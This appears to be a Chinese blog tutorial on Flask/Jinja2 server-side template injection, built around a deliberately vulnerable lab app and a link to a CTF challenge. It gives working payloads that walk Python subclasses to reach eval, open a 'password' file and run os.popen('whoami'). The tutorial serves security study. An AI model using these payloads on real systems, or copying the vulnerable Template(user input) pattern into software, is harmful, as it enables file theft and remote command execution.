Flask SSTI

8 篇文章 0 订阅
3 篇文章 0 订阅

Flask SSTI

Flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。

何为Flask

​ Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2。

何为SSTI

​ SSTI(Server-Side Template Injection),即服务端模板注入攻击。通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。

Jinja2语法

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

​ jinja2模板中使用{{ }}语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持Python中所有的Python数据类型比如列表、字段、对象等。jinja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。被两个括号包裹的内容会输出其表达式的值。

沙箱绕过:

​ jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,从而绕过沙箱。

函数和属性解析:

__class__         返回调用的参数类型
__bases__         返回基类列表,返回类的父类 python3
__mro__           此属性是在方法解析期间寻找基类时的参考类元组,(寻找父类) python3
__subclasses__()  返回子类的列表
__init__ 					返回类的初始化方法   
__globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量 与 func_globals 等价
__dict__ 					返回类中的函数和属性,父类子类互不影响
__builtins__      内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了
									很多强大的 built-in 函数,例如eval, exec, open等等

获取 object 类:

''.__class__.__mro__[2]     # 在 python2 中字符串在考虑解析时会有三个参考类 str basestring object
''.__class__.__mro__[1]     # 在 python3 中字符串在考虑解析时会有两个参考类 str object
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]

原理解读

靶场环境

FlaskSSTI.py

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', 'guest')
    t = Template('Hello ' + name)
    return t.render()


if __name__ == '__main__':
    app.run()

name=admin

image-20231203181919146

输入表达式:name={{2*3}}

image-20231203181948562

name={{‘abc’.upper()}}

image-20231203182011355

一旦调用普通函数就出错:name={{abs(-1)}}

image-20231203182030690

我们来尝试获取 ‘()’ 的类型:

name={{().__class__.__name__}}
image-20231203182111570

成功获取’()'的类型tuple(元组)。我们知道Python中所有类型的其实都是object类型,所以下面我们继续尝试获取到object类型:

name={{().__class__.__base__.__name__}}
image-20231203182136823

找到object所有子类

name={{().__class__.__base__.__subclasses__()}}
image-20231203182240810

发现子类型有很多,在这里我们需要找到内建模块中含有eval或者open的类型来使我们可以执行代码或读取文件。查找脚本如下:

code = 'eval'   #查找包含eval函数的内建模块类型
i = 0
for c in ().__class__.__base__.__subclasses__(): 
   if hasattr(c,'__init__') and hasattr(c.__init__,'__globals__') and c.__init__.__globals__['__builtins__'] and c.__init__.__globals__['__builtins__'][code]: 
          print('{} {}'.format(i,c))    
   i = i + 1
  
#输出结果
58 <class 'warnings.WarningMessage'>
59 <class 'warnings.catch_warnings'>
60 <class '_weakrefset._IterationGuard'>
61 <class '_weakrefset.WeakSet'>
71 <class 'site.Flags'>
72 <class 'site._Printer'>
77 <class '_virtualenv._VirtualenvImporter'>
78 <class '_virtualenv._VirtualenvLoader'>
79 <class 'site.Quitter'>
83 <class 'json.decoder.JSONDecoder'>
84 <class 'json.encoder.JSONEncoder'>
85 <class 'codecs.IncrementalEncoder'>
86 <class 'codecs.IncrementalDecoder'>

在Python 2/3版本中有这么多类型的内建模块中都包含eval。这里为了让最后的结果同时兼容Python 2/3版本我们使用索引为79的类型:class ‘site.Quitter’。我们看看在这个class 'site.Quitter’的global环境下都可以执行那些函数:

name={{().__class__.__base__.__subclasses__()[79].__init__.__globals__['__builtins__']}}
image-20231203182408454
name={{().__class__.__base__.__subclasses__()[79].__init__.__globals__['__builtins__']['eval']("abs(-1)")}}
image-20231203182426735
name={{().__class__.__base__.__subclasses__()[79].__init__.__globals__['__builtins__']['open']("password").read()}}
image-20231203182449219
name={{().__class__.__base__.__subclasses__()[79].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
image-20231203182509782

jinja2的沙箱环境,跟普通Python运行环境还是有很多不同的。如果碰到未定义的变量就会返回为Undefined类型。而Python官方库是没有这个类型的,也就是说明这个Undefined是jinja2框架提供的。我们在jinja2框架的源码中搜寻,最后在runtime.py中找到了Undefined这个class:继承的是object类型,并且还有其他函数。

既然都是Undefined那我随便定义一个未被定义过的变量也应该是Undefined:

name={{x.__init__.__globals__.__builtins__}}
image-20231203183000442

既然Undefined类可以执行成功,那我们就可以看看他的全局global的内建模块中都包含什么了:

name={{x.__init__.__globals__.__builtins__}}
image-20231203183000442

优化 Payload。对此我们直接优化我们的Payload,使长度大大缩短,可读性也变强了。

优化后的兼容 Python 2/3 版本的 Payload:

读取文件:

name={{x.__init__.__globals__.__builtins__.open('./password').read()}}
image-20231203183108369

命令执行:

name={{x.__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
image-20231203183759203

题目

https://buuoj.cn/challenges#[GYCTF2020]FlaskApp

参考

参考1:关于Flask SSTI,解锁你不知道的新姿势

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值